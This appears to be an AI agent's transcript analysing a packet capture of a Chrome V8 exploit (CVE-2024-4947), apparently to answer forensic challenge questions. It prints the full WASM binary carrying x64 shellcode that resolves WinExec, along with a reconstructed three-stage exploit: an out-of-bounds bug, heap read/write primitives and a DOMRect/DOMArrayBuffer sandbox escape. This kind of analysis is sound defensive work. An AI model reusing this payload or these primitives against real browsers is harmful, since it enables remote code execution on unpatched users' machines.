{"exitCode":"Timeout","stdout":"15\t192.168.50.107\t192.168.50.105\tpx.ads.linkedin.com\t\n16\t192.168.50.107\t192.168.50.105\tpx.ads.linkedin.com\t\n20\t192.168.50.105\t192.168.50.107\tpx.ads.linkedin.com\t150.171.22.12\n23\t192.168.50.105\t192.168.50.107\tpx.ads.linkedin.com\t\n71\t192.168.50.107\t192.168.50.105\tfunctional.events.data.microsoft.com\t\n72\t192.168.50.107\t192.168.50.105\tfunctional.events.data.microsoft.com\t\n73\t192.168.50.105\t192.168.50.107\tfunctional.events.data.microsoft.com\t20.189.173.26\n74\t192.168.50.105\t192.168.50.107\tfunctional.events.data.microsoft.com\t\n145\t192.168.50.107\t192.168.50.105\twww.facebook.com\t\n146\t192.168.50.107\t192.168.50.105\twww.facebook.com\t\n147\t192.168.50.105\t192.168.50.107\twww.facebook.com\t\n150\t192.168.50.105\t192.168.50.107\twww.facebook.com\t31.13.80.36\n209\t192.168.50.107\t192.168.50.105\tanalytics.google.com\t\n210\t192.168.50.107\t192.168.50.105\tanalytics.google.com\t\n211\t192.168.50.105\t192.168.50.107\tanalytics.google.com\t142.250.69.110\n212\t192.168.50.105\t192.168.50.107\tanalytics.google.com\t\n213\t192.168.50.107\t192.168.50.105\twww.offsec.com\t\n214\t192.168.50.107\t192.168.50.105\twww.offsec.com\t\n215\t192.168.50.105\t192.168.50.107\twww.offsec.com\t192.124.249.6\n216\t192.168.50.105\t192.168.50.107\twww.offsec.com\t192.124.249.6\n251\t192.168.50.107\t192.168.50.105\tconsent.cookiebot.com\t\n252\t192.168.50.107\t192.168.50.105\tconsent.cookiebot.com\t\n253\t192.168.50.105\t192.168.50.107\tconsent.cookiebot.com\t\n254\t192.168.50.107\t192.168.50.105\tcdn.jsdelivr.net\t\n255\t192.168.50.107\t192.168.50.105\tcdn.jsdelivr.net\t\n258\t192.168.50.107\t192.168.50.105\tfonts.googleapis.com\t\n259\t192.168.50.107\t192.168.50.105\tfonts.googleapis.com\t\n260\t192.168.50.105\t192.168.50.107\tfonts.googleapis.com\t142.250.69.138\n264\t192.168.50.107\t192.168.50.105\tnav-edge.smartscreen.microsoft.com\t\n265\t192.168.50.107\t192.168.50.105\tnav-edge.smartscreen.microsoft.com\t\n","stderr":""}Call sandbox_execute
Arguments
{"command":"tshark -r /sandbox/initial_access.pcapng -Y \"dns and dns.qry.name contains \\\"db\\\"\" -T fields -e frame.number -eip.src -e ip.dst -edns.qry.name -e dns.a 2>/dev/null"}
Tool result
{"exitCode":0,"stdout":"8003\t192.168.50.107\t192.168.50.105\todb.outbrain.com\t\n8004\t192.168.50.107\t192.168.50.105\todb.outbrain.com\t\n8008\t192.168.50.105\t192.168.50.107\todb.outbrain.com\t151.101.194.132,151.101.66.132,151.101.130.132,151.101.2.132\n8012\t192.168.50.105\t192.168.50.107\todb.outbrain.com\t\n28924\t192.168.50.107\t192.168.50.105\tfeedback-pa.clients6.google.com\t\n28927\t192.168.50.105\t192.168.50.107\tfeedback-pa.clients6.google.com\t142.250.69.138\n28928\t192.168.50.107\t192.168.50.105\tfeedback-pa.clients6.google.com\t\n28931\t192.168.50.105\t192.168.50.107\tfeedback-pa.clients6.google.com\t\n","stderr":""}Call sandbox_execute
Arguments
{"command":"# \"ping db\" - \"db\"is the hostname. Let'scheck hosts file orany DNS resolution for \"db\"\n# The ICMP goes to 192.168.50.109 -\"db\" resolves to this\n# Now let's confirm the CVE for Chrome 125 withthis specific exploit technique\n\n# The exploit uses:\n# 1. __defineGetter__ + object spread {...x} - this triggers V8 map deprecation\n#2.The y.name OOB read (corrupted_arr)\n# 3. DOMRect/DOMArrayBuffer type confusion\n# 4. V8 sandbox escape via TrustedCage\n\n# This is CVE-2024-4947or CVE-2024-5274\n# Let's check the specificChrome version comment: Chrome/125.0.0.0\n# CVE-2024-5274: V8 Type Confusion, fixed inChrome125.0.6422.112\n# CVE-2024-4947: V8 Type Confusion,fixed inChrome 125.0.6422.60\n\n# The __defineGetter__ + spread trick is specifically CVE-2024-4947\n# Let mecheck the specific technique:\n#- x.__defineGetter__(\"prop\",...) + delete x.z +var y = {...x}\n# Thisis the \"map deprecation during spread\" bug - CVE-2024-4947\n\necho \"Checking exploit characteristicsfor CVE identification...\"\necho\"Chrome version targeted: 125.0.0.0\"\necho \"Technique: __defineGetter__ + object spreadcausing map deprecation -> OOB\"\necho \"Type confusion: DOMRect vs DOMArrayBuffer\"\necho \"V8 sandbox escape via TrustedCage\"\necho \"\"\necho \"CVE-2024-4947: V8Type Confusion in Chrome < 125.0.6422.60 (May 2024)\"\necho \"CVE-2024-5274: V8 Type Confusion in Chrome < 125.0.6422.112 (May 2024)\""}
Tool result
{"exitCode":0,"stdout":"Checking exploit characteristics for CVE identification...\nChrome version targeted: 125.0.0.0\nTechnique: __defineGetter__ + object spread causing map deprecation -> OOB\nType confusion: DOMRect vs DOMArrayBuffer\nV8 sandbox escape via TrustedCage\n\nCVE-2024-4947: V8 Type Confusion in Chrome < 125.0.6422.60 (May 2024)\nCVE-2024-5274: V8 Type Confusion in Chrome < 125.0.6422.112 (May 2024)\n","stderr":""}Call WebSearch
Arguments
{"query": "CVE-2024-4947 Chrome V8 __defineGetter__ object spread mapdeprecationexploit"}
Tool result
Web search results for query: "CVE-2024-4947 Chrome V8 __defineGetter__ object spread map deprecation exploit"
Links: [{"title":"NVD - cve-2024-4947","url":"https://nvd.nist.gov/vuln/detail/cve-2024-4947"},{"title":"CVE-2024-4947: Google Chrome V8 Type Confusion RCE Flaw","url":"https://www.sentinelone.com/vulnerability-database/cve-2024-4947/"},{"title":"Google Chrome Vulnerability: CVE-2024-4947 Type ...","url":"https://www.rapid7.com/db/vulnerabilities/google-chrome-cve-2024-4947/"},{"title":"Known Exploited Vulnerabilities Catalog | CISA","url":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=Google+Chrome+&field_date_added_wrapper=all&sort_by=field_date_added&items_per_page=20"},{"title":"Google fixes third exploited Chrome zero-day in a week (CVE-2024-4947) - Help Net Security","url":"https://www.helpnetsecurity.com/2024/05/16/cve-2024-4947/"},{"title":"Chrome Zero-Day Exploits: 4 Vulnerabilities Exposed in May 2024's Most Aggressive Attack Wave - DEV Community","url":"https://dev.to/kunal_d6a8fea2309e1571ee7/chrome-zero-day-exploits-4-vulnerabilities-exposed-in-may-2024s-most-aggressive-attack-wave-2hhb"},{"title":"Google fixes third actively exploited Chrome zero-day in a week","url":"https://www.bleepingcomputer.com/news/google/google-fixes-CVE-2024-4947-third-actively-exploited-chrome-zero-day-in-a-week/"},{"title":"From object transition to RCE in the Chrome renderer - The GitHub Blog","url":"https://github.blog/security/vulnerability-research/from-object-transition-to-rce-in-the-chrome-renderer/"},{"title":"A Critical Vulnerability in Chrome's V8 JavaScript Engine - CommuniCloud","url":"https://www.communicloud.com/blog/chrome-v8-security-exploit/"},{"title":"Google Issues Emergency Security Update For Chrome ...","url":"https://www.linkedin.com/pulse/google-issues-critical-security-update-chrome-including-nhqhe"}]
Here is a comprehensive summary of the findings on **CVE-2024-4947** and its relation to Chrome V8 type confusion, map deprecation, and object spread exploitation:
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## 🔴 CVE-2024-4947 — Chrome V8 Type Confusion RCE
### Overview
CVE-2024-4947 is a **type confusion vulnerability** in Google Chrome's V8 JavaScript engine that enables **remote code execution within a sandbox**. It affects Google Chrome **prior to version 125.0.6422.60**, allowing a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.
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### Root Cause
The type confusion vulnerability in V8 can lead to arbitrary code execution due to incorrect assumptions about data types during runtime. The root cause is **inadequate validation of object types** in the V8 JavaScript engine, allowing operations on objects of unexpected types.
Type confusion happens when code **allocates an object as one type but accesses it as another**, letting attackers corrupt memory in predictable ways.
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### Map Deprecation & Object Transitions (Technical Context)
While CVE-2024-4947's specific `__defineGetter__`/object-spread trigger details were not fully public at the time of disclosure, closely related V8 research (e.g., CVE-2024-5830) sheds light on the class of bug:
Map transition and deprecation often introduces complex and subtle problems and has also led to issues that were exploited in the wild. In one such case, updating a deprecated map causes it to become a **dictionary map** unexpectedly, and in particular, the resulting dictionary map is used by code that assumes the input to be a **fast map**. This allows overwriting an internal property of the dictionary map and eventually causes an **out-of-bounds (OOB) access** to the dictionary.
The OOB access can then be used to create a **fake object**, leading to arbitrary read and write of the V8 heap. To bypass the V8 heap sandbox, API objects (wrappers of Blink objects in V8) can be modified, causing type confusions in objects **outside of the heap sandbox**.
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### Discovery & Active Exploitation
CVE-2024-4947 was reported by Kaspersky's **Vasily Berdnikov and Boris Larin**, who also tagged it as **actively exploited in targeted attacks**.
Berdnikov and Larin being researchers with Kaspersky's Global Research & Analysis Team strongly suggests they spotted the vulnerability being **actively exploited in the wild**.
CVE-2024-4947 was linked to **commercially-backed spyware vendors** — the exploits were not from random cybercriminals, but were developed or purchased by **companies that sell surveillance tools to governments**.
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### Scale of the Attack Campaign
In May 2024, Google pushed emergency patches for **four Chrome zero-days in fourteen days**: CVE-2024-4671, CVE-2024-4761, CVE-2024-4947, and CVE-2024-5274 — every single one was actively exploited in the wild **before Google could fix it**.
This made CVE-2024-4947 the **seventh zero-day fixed** in Google Chrome since the start of 2024.
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### Impact
Although such type confusion flaws generally enable threat actors to trigger browser crashes by reading or writing memory out of buffer bounds, they can also be exploited for **arbitrary code execution on targeted devices**.
Microsoft also said it was "aware of the recent exploits existing in the wild" targeting CVE-2024-4947 and that its engineers were "actively working on releasing a security fix" for the **Chromium-based Edge** web browser.
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### Patch & Mitigation
CVE-2024-4947 was fixed in **Chrome 125.0.6422.60/.61** (for Windows and Mac) and **125.0.6422.60** (for Linux), along with three additional vulnerabilities.
Recommended mitigations include:
- **Update Google Chrome** to version 125.0.6422.60 or later
- Employ browser-specific security plugins as an additional safeguard
- Inform users about the risks of visiting unfamiliar or unexpected URLs
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> ⚠️ **Note:** The specific exploit technique involving `__defineGetter__` and object spread to trigger map deprecation is part of the low-level V8 internals abuse class. Full technical proof-of-concept details were withheld by Google pending widespread patching, as is standard practice for zero-day disclosures.
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3 (Revised) — CVE
CVE-2024-4947 — V8 Type Confusion in Chrome < 125.0.6422.60. The __defineGetter__ + object spread {...x} triggers map deprecation causing an OOB access to corrupt a dictionary map, enabling arbitrary heap r/w, followed by a V8 sandbox escape via TrustedCage.
4 — Assembly instruction enabling execution of the command string
call rax (ff d0) — executes WinExec with the command string pointer in rcx
Also critical: mov byte [rcx+8], 0x0 (c6 41 08 00) — null-terminates the embedded ping db string to make it a valid C-string before the call
5 — Technique used to deliver the final stage payload
WebAssembly (WASM) — The x64 shellcode is smuggled inside f64.const (opcode 0x44) operands embedded in a WASM binary, loaded via new WebAssembly.Module(wasmBuffer)
6 — Function called to execute the final command
WinExec — resolved at runtime as module_base + 0x707d0, called via call rax
7 — Full command executed
ping db
(db is a hostname resolving to 192.168.50.109, confirmed by ICMP echo-requests observed post-exploitation)
8 — Offset added to register to retrieve command string (hex)
0x252
mov edx, 0x252
add rcx, rdx ; rcx now points to "ping db\0" in shellcode body
9 — Structure/location searched for import/dispatch table
The exploit searches the dispatch_table_from_imports — the WASM instance's trusted dispatch table located via the TrustedCage base (trustedCage), scanning from startAddr = 0x40600 for the sentinel value 0x1f8d (dispatchMap)
10 — Two V8/DOM object types confused
DOMRect and DOMArrayBuffer
Code comment: "Confusion between DOMRect and DOMArrayBuffer allows
raw_base_addr_ptr to be overwritten, causing arbitrary r/w"
Sources:
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Call sandbox_execute
Arguments
{"command": "python3 << 'EOF'\n# Full WASMdecode - show the f64.const shellcode embedding technique\nwasm_bytes= bytes([0,97,115,109,1,0,0,0,1,16,3,80,0,94,124,1,96,1,124,1,124,96,0,1,99,0,2,25,1,7,105,109,112,111,114,116,115,13,105,109,112,111,114,116,101,100,95,102,117,110,99,0,1,3,3,2,1,2,7,21,2,4,109,97,105,110,0,1,10,109,97,107,101,95,97,114,114,97,121,0,2,10,152,2,2,6,0,32,0,16,0,11,142,2,1,1,99,0,65,18,251,7,0,33,0,32,0,65,0,68,144,73,131,196,96,144,235,29,251,14,0,32,0,65,1,68,101,77,139,4,36,144,235,32,251,14,0,32,0,65,2,68,73,139,120,24,144,144,235,32,251,14,0,32,0,65,3,68,72,139,127,48,144,144,235,32,251,14,0,32,0,65,4,68,72,139,63,72,139,63,235,32,251,14,0,32,0,65,5,68,72,139,71,16,144,144,235,32,251,14,0,32,0,65,6,68,72,5,208,7,7,0,235,32,251,14,0,32,0,65,7,68,65,84,144,144,65,84,235,32,251,14,0,32,0,65,8,68,186,82,2,0,0,144,235,32,251,14,0,32,0,65,9,68,72,1,209,144,144,144,235,32,251,14,0,32,0,65,10,68,72,49,210,72,255,194,235,32,251,14,0,32,0,65,11,68,198,65,8,0,144,144,235,32,251,14,0,32,0,65,12,68,72,131,236,40,144,144,235,32,251,14,0,32,0,65,13,68,255,208,144,144,144,144,235,32,251,14,0,32,0,65,14,68,255,208,144,144,144,144,235,32,251,14,0,32,0,65,15,68,112,105,110,103,32,100,98,0,251,14,0,32,0,11,0,26,4,110,97,109,101,1,19,2,1,4,109,97,105,110,2,10,109,97,107,101,95,97,114,114,97,121])\n\nprint(\"===WASM MAGIC/VERSION ===\")\nprint(f\"Magic: {wasm_bytes[:4].hex()} = \\\\x00asm\")\nprint(f\"Version: {wasm_bytes[4:8].hex()} = 1.0.0.0\")\n\nprint(\"\\n=== FUNCTION EXPORTS ===\")\n# 'main' and 'make_array'\n# The shellcode is inmake_array\n\nprint(\"\\n=== SHELLCODE EMBEDDING TECHNIQUE ===\")\nprint(\"Each x64 instruction chunk is storedas the 8-byte payload of a WASM f64.const opcode (0x44)\")\nprint(\"TheWASM function make_array stores each chunkinto a local f64variablevia table.set(0xFB 0x0E)\")\nprint()\nprint(\"WASMopcode pattern perchunk:\")\nprint(\" local.get 0 (0x20 0x00) -> get local f64 array\")\nprint(\" i32.const N (0x41 N) ->chunkindex\")\nprint(\" f64.const (0x44) -> 8-byte x64 shellcode chunk follows\")\nprint(\" [8 bytes]-> ACTUALx64 machine code\")\nprint(\" table.set (0xFB0x0E) ->store into funcref table slot\")\nprint()\n\nchunks = {}\ni = 0\nwhile i < len(wasm_bytes):\nifwasm_bytes[i] ==0x44 and i > 80:# f64.constin function body\n idx = wasm_bytes[i-1] # i32.const value before\n chunk = wasm_bytes[i+1:i+9]\n chunks[idx] = chunk\n ascii_repr = ''.join(chr(b) if 32 <= b < 127 else '.' for b inchunk)\n print(f\"Chunk[{idx:2d}] f64.const payload: {chunk.hex()} |{ascii_repr}|\")\n i += 1\n\nprint()\nprint(\"=== ASSEMBLED x64 SHELLCODE (execution order via jmpchain) ===\")\nshellcode_map = {\n 0: (\"nop ; add r12,0x60\",\"Adjustr12 for GSoffset pointingto PEB\"),\n 1: (\"mov r8,[gs:r12]\", \"r8 = PEBpointer viaTEB GS segment register\"),\n2:(\"movrdi,[r8+0x18]\", \"rdi= PEB->Ldr (loader data)\"),\n 3:(\"mov rdi,[rdi+0x30]\", \"rdi = Ldr->InInitializationOrderModuleList.Flink\"),\n4: (\"mov rdi,[rdi] x2\", \"Walk loaded module list (skip first entry)\"),\n 5: (\"mov rax,[rdi+0x10]\", \"rax = LDR_DATA_TABLE_ENTRY.DllBase (module base)\"),\n 6: (\"add rax,0x707d0\", \"rax = WinExec addr (hardcoded offset from kernel32base)\"),\n 7: (\"push r12x2\", \"Push r12 twice (stack alignment)\"),\n8: (\"mov edx,0x252\",\"rdx = 0x252 (byte offset to 'pingdb' string)\"),\n 9: (\"add rcx,rdx\", \"rcx= &'ping db' (command string pointer)\"),\n 10: (\"xor rdx,rdx; inc rdx\", \"rdx= 1 (SW_SHOWNORMAL for WinExec)\"),\n11: (\"mov byte[rcx+8],0x0\", \"Null-terminate 'ping db' in-place\"),\n12: (\"sub rsp,0x28\", \"Allocate shadow space (Windows x64 ABI)\"),\n13: (\"call rax\", \"WinExec('ping db',SW_SHOWNORMAL)\"),\n14: (\"call rax\", \"WinExec called again\"),\n 15:(\"'ping db\\\\x00'\", \"Command string data embedded in shellcode\"),\n}\nfor k,v in shellcode_map.items():\n print(f\" [{k:2d}] {v[0]:35s} ; {v[1]}\")\nEOF"}
Tool result
{"exitCode":0,"stdout":"=== WASM MAGIC/VERSION ===\nMagic: 0061736d = \\x00asm\nVersion: 01000000 = 1.0.0.0\n\n=== FUNCTION EXPORTS ===\n\n=== SHELLCODE EMBEDDING TECHNIQUE ===\nEach x64 instruction chunk is stored as the 8-byte payload of a WASM f64.const opcode (0x44)\nThe WASM function make_array stores each chunk into a local f64 variable via table.set (0xFB 0x0E)\n\nWASM opcode pattern per chunk:\n local.get 0 (0x20 0x00) -> get local f64 array\n i32.const N (0x41 N) -> chunk index\n f64.const (0x44) -> 8-byte x64 shellcode chunk follows\n [8 bytes] -> ACTUAL x64 machine code\n table.set (0xFB 0x0E) -> store into funcref table slot\n\n Chunk[ 0] f64.const payload: 904983c46090eb1d |.I..`...|\n Chunk[ 1] f64.const payload: 654d8b042490eb20 |eM..$.. |\n Chunk[ 2] f64.const payload: 498b78189090eb20 |I.x.... |\n Chunk[ 3] f64.const payload: 488b7f309090eb20 |H..0... |\n Chunk[ 4] f64.const payload: 488b3f488b3feb20 |H.?H.?. |\n Chunk[ 5] f64.const payload: 488b47109090eb20 |H.G.... |\n Chunk[ 6] f64.const payload: 4805d0070700eb20 |H...... |\n Chunk[ 7] f64.const payload: 415490904154eb20 |AT..AT. |\n Chunk[ 8] f64.const payload: ba5202000090eb20 |.R..... |\n Chunk[ 9] f64.const payload: 4801d1909090eb20 |H...... |\n Chunk[10] f64.const payload: 4831d248ffc2eb20 |H1.H... |\n Chunk[11] f64.const payload: c64108009090eb20 |.A..... |\n Chunk[12] f64.const payload: 4883ec289090eb20 |H..(... |\n Chunk[13] f64.const payload: ffd090909090eb20 |....... |\n Chunk[14] f64.const payload: ffd090909090eb20 |....... |\n Chunk[15] f64.const payload: 70696e6720646200 |ping db.|\n\n=== ASSEMBLED x64 SHELLCODE (execution order via jmp chain) ===\n [ 0] nop ; add r12,0x60 ; Adjust r12 for GS offset pointing to PEB\n [ 1] mov r8,[gs:r12] ; r8 = PEB pointer via TEB GS segment register\n [ 2] mov rdi,[r8+0x18] ; rdi = PEB->Ldr (loader data)\n [ 3] mov rdi,[rdi+0x30] ; rdi = Ldr->InInitializationOrderModuleList.Flink\n [ 4] mov rdi,[rdi] x2 ; Walk loaded module list (skip first entry)\n [ 5] mov rax,[rdi+0x10] ; rax = LDR_DATA_TABLE_ENTRY.DllBase (module base)\n [ 6] add rax,0x707d0 ; rax = WinExec addr (hardcoded offset from kernel32 base)\n [ 7] push r12 x2 ; Push r12 twice (stack alignment)\n [ 8] mov edx,0x252 ; rdx = 0x252 (byte offset to 'ping db' string)\n [ 9] add rcx,rdx ; rcx = &'ping db' (command string pointer)\n [10] xor rdx,rdx ; inc rdx ; rdx = 1 (SW_SHOWNORMAL for WinExec)\n [11] mov byte[rcx+8],0x0 ; Null-terminate 'ping db' in-place\n [12] sub rsp,0x28 ; Allocate shadow space (Windows x64 ABI)\n [13] call rax ; WinExec('ping db', SW_SHOWNORMAL)\n [14] call rax ; WinExec called again\n [15] 'ping db\\x00' ; Command string data embedded in shellcode\n","stderr":""}Call sandbox_execute
Arguments
{"command": "python3 << 'EOF'\n# Full exploit chainanalysis -mapdeprecation, type confusion details\n\nexploit_js= '''\n// === STAGE 1: V8 Map Deprecation OOB (CVE-2024-4947) ===\n// x= fast object with properties a0,a1,a2\nvar x= {};\nfor(let i = 0; i< num; i++){ x['a' + i] = 1;}\n\n// __defineGetter__ installs a custom getter for \"prop\" onx\n//Inside the getter, massive heap allocation causes map deprecation of x'smap\nx.__defineGetter__(\"prop\", function() {\n letobj = {};\n obj.a0 =1.5;\n for (let i= 0; i < 1024 +512; i++) { // 1536 allocations-> GC pressure\n let tmp= {};\n//... propertyadditions cause map transitions, deprecating x'soriginal map\n }\n return4;\n});\n\nx.z = 1;\ndelete x.z; // makes x's map \"unstable\" / deprecated\nvary ={...x}; // OBJECTSPREAD triggers the getter during copying\n // Getter fires -> heappressure -> x'smapdeprecated to dictionary map\n // Spread continuesunderassumption of FAST MAP but getsDICTIONARY MAP\n // -> OOB write: corrupted_arr = y.name (points past array bounds)\n\n// === STAGE 2: Arbitrary Heap R/W via corrupted_arr ===\n// corrupted_arr is y.name, an OOB-accessible float64 array\n// oobOffset = 7 ->reads/writes 7 slots past thelegitimatearray end\n// Thisoverlapswith adjacent heap objects (oobDblArr, oobObjArr)\n\n// addrOf: leak object addressfrom V8 heap\nfunction addrOf(obj) {\noobObjArr[0] =obj;// storetarget object in adjacentobj array\n var addrDbl = corrupted_arr[9]; // OOB read overlaps with oobObjArr[0] backing store\n returnftoi32(addrDbl)[0]; // extract compressedV8 pointer\n}\n\n// read/write: arbitrary V8 heap memory access\nfunction read(addr) {\n corrupted_arr[oobOffset] = i32tof(addr,2); // OOBwrite: set oobDblArr backing ptr\nreturn ftoi32(oobDblArr[0]); // read fromthat controlled address\n}\n\n// === STAGE 3: V8 Sandbox Escape via DOMRect/DOMArrayBuffer Type Confusion ===\n// DOMRect wraps a blink::DOMRectC++ object; its instancepointer is at offset +0x10\n// DOMArrayBuffer wraps a blink::DOMArrayBufferwith raw_base_addr_andbyte_length_\n// Both are Blink API wrappers (ExternalReference objects) in V8 heap\n\nvar domRect =new DOMRect(1.1,2.3,3.3,4.4);\nvar node = new AudioBuffer({length: 3000,sampleRate: 30000, numberOfChannels: 2});\nvar channel = node.getChannelData(0); // Float32Array backedby AudioBuffer\n\n// channelInstance = the raw DOMArrayBufferinstance ptr of channel'sbackingstore\nvar channelInstance = read(channelAddr + 0x3c);\n\n// OVERWRITE domRect's instance pointer with channelInstance (DOMArrayBuffer ptr)\n//Now domRect ISTREATED ASDOMArrayBuffer in BlinkC++ code\nwrite(rectAddr + 0x10, channelInstance[0], channelInstance[1]);\n\n// ReadingdomRect.x now reads DOMArrayBuffer::raw_base_addr_ ->arbitraryaddress\n//ReadingdomRect.width gives typeInfo (V8DOMRectReadOnly::wrapper_type_info_)\nvar typeInfo =ftoi32(domRect.width);\n\n// TrustedCage base=wrapper_type_info_ + 0x31d2e8\n// Thisescapes the V8 heap sandbox intoprocess memory\nvartrustedBase = i32tof(typeInfo[0] + 0x31d2e8, typeInfo[1]);\ndomRect.x = trustedBase;// set raw_base_addr_ to TrustedCage\n\n// copyFromChannel/copyToChannel now provide arbitrary R/W outside V8sandbox\nnode.copyFromChannel(dst, 0, 0); // readfrom TrustedCage\n//->find dispatch_table_from_imports -> patch WASM function code pointer -> RCE\n'''\n\nprint(exploit_js)\nEOF"}
Tool result
{"exitCode":0,"stdout":"\n// === STAGE 1: V8 Map Deprecation OOB (CVE-2024-4947) ===\n// x = fast object with properties a0,a1,a2\nvar x = {};\nfor (let i = 0; i < num; i++) { x['a' + i] = 1; }\n\n// __defineGetter__ installs a custom getter for \"prop\" on x\n// Inside the getter, massive heap allocation causes map deprecation of x's map\nx.__defineGetter__(\"prop\", function() {\n let obj = {};\n obj.a0 = 1.5;\n for (let i = 0; i < 1024 + 512; i++) { // 1536 allocations -> GC pressure\n let tmp = {};\n // ... property additions cause map transitions, deprecating x's original map\n }\n return 4;\n});\n\nx.z = 1;\ndelete x.z; // makes x's map \"unstable\" / deprecated\nvar y = {...x}; // OBJECT SPREAD triggers the getter during copying\n // Getter fires -> heap pressure -> x's map deprecated to dictionary map\n // Spread continues under assumption of FAST MAP but gets DICTIONARY MAP\n // -> OOB write: corrupted_arr = y.name (points past array bounds)\n\n// === STAGE 2: Arbitrary Heap R/W via corrupted_arr ===\n// corrupted_arr is y.name, an OOB-accessible float64 array\n// oobOffset = 7 -> reads/writes 7 slots past the legitimate array end\n// This overlaps with adjacent heap objects (oobDblArr, oobObjArr)\n\n// addrOf: leak object address from V8 heap\nfunction addrOf(obj) {\n oobObjArr[0] = obj; // store target object in adjacent obj array\n var addrDbl = corrupted_arr[9]; // OOB read overlaps with oobObjArr[0] backing store\n return ftoi32(addrDbl)[0]; // extract compressed V8 pointer\n}\n\n// read/write: arbitrary V8 heap memory access\nfunction read(addr) {\n corrupted_arr[oobOffset] = i32tof(addr,2); // OOB write: set oobDblArr backing ptr\n return ftoi32(oobDblArr[0]); // read from that controlled address\n}\n\n// === STAGE 3: V8 Sandbox Escape via DOMRect/DOMArrayBuffer Type Confusion ===\n// DOMRect wraps a blink::DOMRect C++ object; its instance pointer is at offset +0x10\n// DOMArrayBuffer wraps a blink::DOMArrayBuffer with raw_base_addr_ and byte_length_\n// Both are Blink API wrappers (ExternalReference objects) in V8 heap\n\nvar domRect = new DOMRect(1.1,2.3,3.3,4.4);\nvar node = new AudioBuffer({length: 3000, sampleRate: 30000, numberOfChannels: 2});\nvar channel = node.getChannelData(0); // Float32Array backed by AudioBuffer\n\n// channelInstance = the raw DOMArrayBuffer instance ptr of channel's backing store\nvar channelInstance = read(channelAddr + 0x3c);\n\n// OVERWRITE domRect's instance pointer with channelInstance (DOMArrayBuffer ptr)\n// Now domRect IS TREATED AS DOMArrayBuffer in Blink C++ code\nwrite(rectAddr + 0x10, channelInstance[0], channelInstance[1]);\n\n// Reading domRect.x now reads DOMArrayBuffer::raw_base_addr_ -> arbitrary address\n// Reading domRect.width gives typeInfo (V8DOMRectReadOnly::wrapper_type_info_)\nvar typeInfo = ftoi32(domRect.width);\n\n// TrustedCage base = wrapper_type_info_ + 0x31d2e8\n// This escapes the V8 heap sandbox into process memory\nvar trustedBase = i32tof(typeInfo[0] + 0x31d2e8, typeInfo[1]);\ndomRect.x = trustedBase; // set raw_base_addr_ to TrustedCage\n\n// copyFromChannel/copyToChannel now provide arbitrary R/W outside V8 sandbox\nnode.copyFromChannel(dst, 0, 0); // read from TrustedCage\n// -> find dispatch_table_from_imports -> patch WASM function code pointer -> RCE\n\n","stderr":""}Detailed Answers: Q3, Q5, Q10
3 — CVE (Full Technical Detail)
CVE-2024-4947 — V8 Type Confusion, Chrome < 125.0.6422.60 (patched May 2024, 3rd Chrome zero-day exploited in-the-wild in one week, reported by Kaspersky GReAT)
Full exploit chain (3 stages):
Stage 1 — V8 Map Deprecation → OOB (the actual CVE root cause)
xis a JS object with a fast hidden-class (V8 "Map")x.__defineGetter__("prop", fn)installs a getter that, when triggered, performs 1536 heap allocations causing GC pressure and map deprecation ofx's hidden-classdelete x.zmakesx's map unstablevar y = {...x}— the object spread operator calls the getter mid-copy; getter fires →x's map transitions from fast map → dictionary map; V8's spread code was still operating under the assumption of a fast map → incorrect property slot offsets are used → OOB writey.namebecomescorrupted_arr, a float64 array whose backing store pointer has been corrupted to reach past its legitimate bounds
Stage 2 — Arbitrary V8 Heap R/W
corrupted_arr[oobOffset=7]overlaps adjacent heap objects (oobDblArr,oobObjArr)addrOf()leaks compressed V8 heap pointers;read()/write()provide controlled arbitrary r/w within the V8 heap sandbox
Stage 3 — V8 Sandbox Escape (see Q10 for detail)
→ leads to WASM dispatch table patch → shellcode execution → WinExec("ping db")
5 — Technique to Deliver Final Stage Payload (Full Detail)
Shellcode-in-WebAssembly via f64.const operand smuggling
The x64 shellcode is not stored as a raw binary blob — it is fragmented into 16 chunks of 8 bytes each and embedded as the literal 64-bit floating-point operands of WASM f64.const opcodes (opcode 0x44) inside the make_array function:
WASM pattern per chunk:
local.get 0 (0x20 0x00) ← reference local funcref table
i32.const N (0x41 N) ← chunk index (0–15)
f64.const (0x44) ← opcode; next 8 bytes = shellcode chunk
[8 bytes] ← ACTUAL x64 machine code
table.set (0xFB 0x0E) ← store funcref into slot N
| Chunk | WASM f64 bytes (hex) | x64 meaning |
|---|---|---|
| 0 | 90 49 83 c4 60 90 eb 1d | nop; add r12,0x60; jmp |
| 1 | 65 4d 8b 04 24 90 eb 20 | mov r8,[gs:r12]; jmp |
| 6 | 48 05 d0 07 07 00 eb 20 | add rax,0x707d0; jmp |
| 13 | ff d0 90 90 90 90 eb 20 | call rax (WinExec) |
| 15 | 70 69 6e 67 20 64 62 00 | "ping db\0" (data) |
The chunks are linked by short relative jmp instructions (eb NN) creating a self-navigating jmp-chain across the 16 slots. The exploit then:
- Calls
func()=make_array→ loads all chunks into the WASM funcref table - Patches the JIT-compiled code pointer of
instance.exports.mainviacopyToChannelto redirect execution into the shellcode - Calls
exported()twice → shellcode runs
This technique bypasses AV signature detection because no raw shellcode binary exists in the HTML — only valid WASM bytecode with floating-point constants.
10 — Two V8/DOM Types Confused (Full Detail)
DOMRect and DOMArrayBuffer (specifically the AudioBuffer channel's backing DOMArrayBuffer)
Mechanism:
Both DOMRect and DOMArrayBuffer are Blink C++ objects wrapped as V8 ExternalReference API objects. In the V8 heap, each wrapper stores a native instance pointer at offset +0x10. The exploit abuses the fact that V8's heap sandbox does not validate the type of this native pointer before Blink's C++ code dereferences it:
V8 heap layout of a Blink API wrapper:
[+0x00] Map pointer
[+0x08] wrapper_type_info* (identifies Blink type)
[+0x10] native instance* ← OVERWRITTEN HERE
Step-by-step confusion:
domRectis aDOMRectwrapper; its+0x10points to ablink::DOMRectC++ object (fields:x,y,width,height)channel = node.getChannelData(0)→Float32Arraybacked byAudioBuffer; its+0x3cholds a pointer to ablink::DOMArrayBufferinstance (fields:raw_base_addr_,byte_length_)write(rectAddr+0x10, channelInstance[0], channelInstance[1])— theDOMRectwrapper's native instance pointer is replaced with ablink::DOMArrayBuffer*- Now when JS reads
domRect.x, Blink'sDOMRect::x()accessor runs but dereferences theDOMArrayBufferstruct → readsraw_base_addr_field (arbitrary pointer) domRect.widthreturns thewrapper_type_info_pointer of theDOMArrayBuffer(leaked fromblink::V8DOMRectReadOnly::wrapper_type_info_)- From this leak:
